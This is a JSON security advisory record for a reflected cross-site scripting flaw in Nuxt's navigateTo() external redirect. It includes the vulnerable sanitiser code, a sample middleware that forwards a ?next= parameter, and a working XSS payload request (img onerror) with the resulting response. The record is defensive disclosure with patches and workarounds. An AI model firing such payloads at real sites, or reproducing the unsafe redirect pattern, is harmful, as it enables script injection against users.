{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.21.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.3"
            },
            {
              "fixed": "3.21.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-alpha.1"
            },
            {
              "fixed": "4.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:49:25Z",
    "nvd_published_at": "2026-06-12T14:16:31Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`navigateTo()` with `external: true` generates a server-side HTML redirect body containing a `\u003cmeta http-equiv=\"refresh\"\u003e` tag. The destination URL is only sanitized by replacing `\"` with `%22`, leaving `\u003c`, `\u003e`, `\u0026`, and `\u0027` unencoded. An attacker who can influence the URL passed to `navigateTo(url, { external: true })` can break out of the `content=\"\u2026\"` attribute and inject arbitrary HTML/JavaScript that executes under the application\u0027s origin.\n\nThis is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed `javascript:` protocol bypass. The issue here is triggered by any valid URL containing `\u003e`.\n\n### Impact\nApplications that pass user-controlled input to `navigateTo(url, { external: true })` \u2014 typically via a `?next=` / `?redirect=` query parameter used for post-login or \"return to\" flows \u2014 are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application\u0027s origin during the server-rendered redirect response, before the meta-refresh fires.\n\n### Details\nIn `packages/nuxt/src/app/composables/router.ts`, the SSR redirect path builds an HTML response body with only `\"` percent-encoded in the destination URL:\n\n```ts\nconst encodedLoc = location.replace(/\"/g, \u0027%22\u0027)\nnuxtApp.ssrContext![\u0027~renderResponse\u0027] = {\nstatus: sanitizeStatusCode(options?.redirectCode || 302, 302),\nbody: `\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta http-equiv=\"refresh\" content=\"0; url=${encodedLoc}\"\u003e\u003c/head\u003e\u003c/html\u003e`,\nheaders: { location: encodeURL(location, isExternalHost) },\n}\n```\n\nThe `Location` header is normalised through `encodeURL()` (which uses the `URL` constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.\n\n### Proof of concept\n\nGlobal middleware that forwards a query parameter to `navigateTo`:\n\n```ts\n// middleware/redirect.global.ts\nexport default defineNuxtRouteMiddleware((to) =\u003e {\nconst next = to.query.next as string | undefined\nif (next) {\n return navigateTo(next, { external: true })\n}\n})\n```\n\nRequest:\n\n```\nGET /?next=https://evil.example/x\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n```\n\nResponse body:\n\n```html\n\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta http-equiv=\"refresh\" content=\"0; url=https://evil.example/x\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\"\u003e\u003c/head\u003e\u003c/html\u003e\n```\n\nThe `\u003e` after `evil.example/x` terminates the `content=\"\u2026\"` attribute, and the `\u003cimg onerror\u003e` tag executes JavaScript in the application\u0027s origin before any redirect\noccurs.\n\n### Patches\nFixed in `nuxt@4.4.6` and `nuxt@3.21.6` by [#35052](https://github.com/nuxt/nuxt/pull/35052). The fix percent-encodes the full set of HTML-attribute-significant characters (`\u0026`, `\"`, `\u0027`, `\u003c`, `\u003e`) before interpolating the URL into the meta-refresh body\n\n### Workarounds\nIf you can\u0027t upgrade immediately, validate user-controlled URLs before passing them to `navigateTo(url, { external: true })`. At minimum, normalise through `new URL(input).toString()` and reject inputs containing `\u003c` or `\u003e` (a normalised URL with these characters is malformed and safe to refuse).",
  "id": "GHSA-fx6j-w5w5-h468",
  "modified": "2026-06-12T19:28:45Z",
  "published": "2026-05-19T15:49:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-fx6j-w5w5-h468"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/pull/35052"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt: Reflected XSS in `navigateTo()` external redirect"
}